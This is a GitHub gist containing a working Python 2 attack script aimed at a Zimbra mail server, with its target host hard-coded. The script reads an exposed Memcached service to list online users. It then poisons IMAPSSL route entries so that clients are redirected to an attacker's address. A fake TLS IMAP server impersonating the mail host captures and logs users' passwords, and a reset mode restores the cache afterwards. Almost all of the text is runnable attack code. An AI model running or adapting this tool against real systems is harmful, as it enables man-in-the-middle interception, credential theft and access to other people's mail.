Created
July 2, 2020 14:45
-
-
Save Voorivex/fa0b2b27cc8caf412b842d1ebe3b8914 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import ssl | |
import socket | |
import os | |
import sys | |
from argparse import ArgumentParser | |
from argparse import RawTextHelpFormatter | |
from threading import Thread | |
# ==========================================<MemcachedFunctions>=========================================================== | |
def stats_slabs(): | |
global MemcachedSock | |
MemcachedSock.sendall('stats slabs\r\n') | |
data = '' | |
while 1: | |
data += MemcachedSock.recv(4096) | |
if 'END' in data: | |
break | |
lines = data.split('\r\n') | |
slabs_num = [] | |
for l in lines: | |
if ':chunk_size ' in l: | |
num = l.split('STAT ')[1].split(':c')[0] | |
if num != None: | |
slabs_num.append(num) | |
return slabs_num | |
def SetKeyValue(key, value): | |
global MemcachedSock | |
MemcachedSock.send('set ' + key + ' 0 0 ' + str(len(value)) + '\r\n' | |
) | |
MemcachedSock.send(value + '\r\n') | |
def GetKeyValue(key): | |
global MemcachedSock | |
MemcachedSock.send('get ' + key + '\r\n') | |
data = '' | |
while 1: | |
data += MemcachedSock.recv(4096) | |
if 'END' in data: | |
break | |
if 'ERROR' in data: | |
break | |
data = data.split('\r\n') | |
return str(data[1].strip()) | |
def ExtractKeys(): | |
global MemcachedSock | |
slabs_num = stats_slabs() | |
keys = [] | |
for slab_id in slabs_num: | |
MemcachedSock.sendall('stats cachedump ' + slab_id + ' 0\r\n') | |
data = '' | |
while 1: | |
data += MemcachedSock.recv(4096) | |
if 'END' in data: | |
break | |
if 'ERROR' in data: | |
break | |
lines = data.split('\r\n') | |
for l in lines: | |
if 'ITEM route:' in l: | |
key = l.split('ITEM ')[1].split(' ')[0] | |
if key != None: | |
keys.append(key) | |
return keys | |
def ExtractOnlineUsers(): | |
keys = ExtractKeys() | |
users = [] | |
for k in keys: | |
user = '' | |
protocol = '' | |
protocol = k.split('route:proto=')[1].split(';')[0] | |
if ';user=' in k: | |
user = k.split(';user=')[1] | |
if ';id=' in k: | |
user = k.split(';id=')[1] | |
users.append((user, protocol)) | |
return users | |
def ResetKeyValues(): | |
keys = ExtractKeys() | |
for k in keys: | |
val = '' | |
if 'proto=imapssl' in k: | |
val = '127.0.0.1:7993' | |
if 'proto=pop3ssl' in k: | |
val = '127.0.0.1:7995' | |
if 'proto=httpssl' in k: | |
val = '127.0.0.1:8443' | |
SetKeyValue(k, val) | |
def CreateMemcachedSocket(ip, port): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((ip, int(port))) | |
return s | |
# ==========================================</MemcachedFunctions>========================================================== | |
# ==========================================<LoggingFunctions>============================================================= | |
def LogUsers(): | |
users = ExtractOnlineUsers() | |
for user in users: | |
print user[1] + ':' + user[0] | |
Log('users.txt', user[1] + ':' + user[0]) | |
print '\nOnline users were logged to users.txt file' | |
def Log(fname, data): | |
if os.path.exists(fname) == False: | |
f = open(fname, 'w') | |
f.write(data + '\n') | |
f.close() | |
else: | |
append = True | |
f = open(fname, 'r') | |
lines = f.readlines() | |
for l in lines: | |
if l.startswith(data): | |
append = False | |
break | |
if append: | |
f = open(fname, 'a') | |
f.write(str(data) + '\n') | |
f.close() | |
# ==========================================</LoggingFunctions>========================================================== | |
# ==========================================<IMAPFunctions>============================================================== | |
def ClientSocketHandler(S2C_Sock, addr=None): | |
method = 'AUTHENTICATE' | |
AUTH_Token = '' | |
try: | |
e = '\r\n' | |
ServerHello = \ | |
'* OK mailx.hezardastan.net Zimbra IMAP4rev1 server ready' | |
print ServerHello | |
S2C_Sock.send(ServerHello + e) | |
ClientHello = S2C_Sock.recv(1024).strip() | |
ClientID = ClientHello.split(' ID ')[0] | |
print ClientHello | |
server_msg = \ | |
'* ID ("NAME" "Zimbra" "VERSION" "8.8.12_GA_3803" "RELEASE" "20190410012803")\r\n' | |
server_msg += ClientID + ' OK ID completed' | |
S2C_Sock.send(server_msg + e) | |
print server_msg | |
client_msg = S2C_Sock.recv(1024).strip() | |
if 'LOGIN' in client_msg: | |
method = 'LOGIN' | |
print client_msg | |
server_msg = '+ send literal data' | |
S2C_Sock.send(server_msg + e) | |
print server_msg | |
client_msg = S2C_Sock.recv(1024).strip() | |
if method == 'LOGIN': | |
email_user = client_msg.split(' ')[0] | |
else: | |
AUTH_Token = client_msg | |
print client_msg | |
if method == 'LOGIN': | |
server_msg = '+ send literal data' | |
S2C_Sock.send(server_msg + e) | |
print server_msg | |
client_msg = S2C_Sock.recv(1024).strip() | |
password = client_msg | |
print client_msg | |
print '' | |
print 'Authentication information were extracted!' | |
print 'Closing connection...' | |
except: | |
print 'Connection timed out!' | |
# Be sure that the socket will be closed! | |
try: | |
S2C_Sock.shutdown(socket.SHUT_RDWR) | |
S2C_Sock.close() | |
except: | |
pass | |
print 'Connection closed' | |
if AUTH_Token != '': | |
print 'Extracting login credentials...' | |
AUTH_Token = AUTH_Token.decode('base64') | |
AUTH_Token = AUTH_Token.split('\x00') | |
email_user = AUTH_Token[1] | |
password = AUTH_Token[2] | |
print 'Done!' | |
print 'User: ' + email_user | |
print 'Password: ' + password | |
Log('credentials.txt', email_user + ':' + password) | |
def StartIMAPServer(port): | |
# context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) | |
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) | |
if (os.path.exists('server.crt') and os.path.exists('server.key')) \ | |
== False: | |
print 'The script could not find SSL certificate and key files. Run this OpenSSL command to generate them:\n' | |
print 'openssl req -subj "/CN=domain.com/O=Yourname/C=US" -new -newkey rsa:4096 -sha256 -days 10000 -nodes -x509 -keyout server.key -out server.crt\n' | |
sys.exit() | |
context.load_cert_chain(certfile='server.crt', keyfile='server.key') | |
BindSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
BindSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
try: | |
BindSock.bind(('', int(port))) | |
except: | |
print 'failed to bind port ' + str(port) + ': ' \ | |
+ str(sys.exc_info()) | |
sys.exit() | |
BindSock.listen(100) | |
print ''' | |
Demo: | |
-------------------------------SSL-Handshakes------------------------------ | |
Client Connected! | |
Client: TLS 1.3, Handshake [length 00bb], ClientHello | |
Server: Hmmm! Why not using recent versions of TLS? | |
error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol | |
Server: Ok,I downgrade it, Now protocol is TLSv1! | |
Server: TLS 1.0, Handshake [length 0045], ServerHello | |
-------------------------------IMAP-Protocol------------------------------- | |
Server: * OK mailx.hezardastan.net Zimbra IMAP4rev1 server ready | |
Client: 00000001 ID ("X-ORIGINATING-IP" ..."version" ...." "X-VIA" "....." | |
Server: 00000001 OK ID completed | |
Client: 00000001 AUTHENTICATE PLAIN | |
Server: + send literal data | |
Client: username_and_password | |
Server: Yuhahaha! I'm not mailx.hezardastan.net! I'm the man in the middle! You are pwned! :] | |
Server: Bye Bye! | |
Server closed the connection! | |
Client: :( | |
------------------------------------------------------------------------ | |
''' | |
print 'Fake IMAPSSL server is listening on port ' + str(port) \ | |
+ '...' | |
print 'Inject malicious cache items to Memcached server and wait for connections.' | |
print 'Press CTRL+C to stop.' | |
while True: | |
(NewSock, addr) = BindSock.accept() | |
S2C_Sock = context.wrap_socket(NewSock, server_side=True) | |
S2C_Sock.settimeout(100) | |
print 'Connection from ' + str(addr[0]) + ':' + str(addr[1]) \ | |
+ ' received!' | |
Thread(target=ClientSocketHandler, args=(S2C_Sock, | |
addr)).start() | |
BindSock.close() | |
##==========================================</IMAPFunctions>============================================================== | |
# ===========================================<Main>========================================================================s | |
parser = ArgumentParser(description='test', | |
formatter_class=RawTextHelpFormatter) | |
parser.add_argument('-m', '--mode', dest='mode', | |
help="""(dumpusers/poisoning/mitm/reset)\r | |
\r | |
dumpusers Dump online users.\r | |
\r | |
poisoning Inject malicious Memcached items containing attacker's IP:PORT for MITM attacks.\r | |
It's possile to attack IMAPSSL,POP3SSL and HTTPS protocols\r | |
but this script supports IMAPSSL,so you can attack IMAPSSL clients.\r | |
\r | |
mitm Start IMAPSSL server to capture incomming SSL traffic and\r | |
extract credentials (MITM attack).\r | |
\r | |
reset Reset all Memcached values to the default after MITM attack.\r | |
\r | |
""") | |
parser.add_argument('-i', '--ip', dest='ip', | |
help='Attacker IP address for MITM attack(poisoning mode).' | |
) | |
parser.add_argument('-p', '--port', dest='port', | |
help='Attacker port for MITM attack(poisoning and mitm modes).' | |
) | |
parser.add_argument('-u', '--user', dest='user', | |
help='Target IMAPSSL user,"all" for targeting all IMAPSSL users(poisoning mode).' | |
) | |
(args, unknown) = parser.parse_known_args() | |
mode = args.mode | |
if mode == None or mode != 'dumpusers' and mode != 'poisoning' and mode \ | |
!= 'mitm' and mode != 'reset': | |
parser.print_help() | |
exit(2) | |
MemcachedSock = None | |
if mode == 'dumpusers': | |
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net', | |
11211) | |
LogUsers() | |
elif mode == 'poisoning': | |
user = args.user | |
if user == None: | |
print '--user option is required.' | |
exit(2) | |
ip = args.ip | |
if ip == None: | |
print '--ip option is required.' | |
exit(2) | |
port = args.port | |
if port == None: | |
print '--port option is required.' | |
exit(2) | |
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net', | |
11211) | |
if user == 'all': | |
keys = ExtractKeys() | |
for k in keys: | |
if '=imapssl;' in k: | |
SetKeyValue(k, ip + ':' + str(port)) | |
print 'Values of all IMAPSSL keys were changed to ' + ip + ':' \ | |
+ str(port) | |
print 'Now use mitm mode or OpenSSL scripts to capture incomming traffic.' | |
else: | |
if GetKeyValue('route:proto=imapssl;user=' + user) == '': | |
print 'User does not exist or not using IMAPSSL,this script is coded for MITM attacks against IMAPSSL.' | |
exit(2) | |
SetKeyValue('route:proto=imapssl;user=' + user, ip + ':' | |
+ str(port)) | |
print 'key route:proto=imapssl;user=' + user \ | |
+ ' value was changed to ' + ip + ':' + str(port) | |
print 'Now use mitm mode or OpenSSL scripts to capture incomming traffic.' | |
elif mode == 'mitm': | |
port = args.port | |
if port == None: | |
print '--port option is required.' | |
exit(2) | |
StartIMAPServer(int(port)) | |
elif mode == 'reset': | |
MemcachedSock = CreateMemcachedSocket('mailx.hezardastan.net', | |
11211) | |
ResetKeyValues() | |
print 'Done!' | |
# ==========================================</Main>========================================================================= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment